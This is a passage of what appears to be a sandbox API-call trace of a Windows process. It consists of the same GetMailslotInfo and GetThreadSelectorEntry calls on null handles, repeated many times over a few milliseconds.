lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.587] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.587] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.588] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.588] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.589] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.589] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.590] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88) returned 0 [0156.590] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x19fe7c | out: lpSelectorEntry=0x19fe7c) returned 1 [0156.590] GetMailslotInfo (in: hMailslot=0x0, lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, lpReadTimeout=0x19fe88 | out: lpMaxMessageSize=0x19fe70, lpNextSize=0x19fe94, lpMessageCount=0x19fe84, 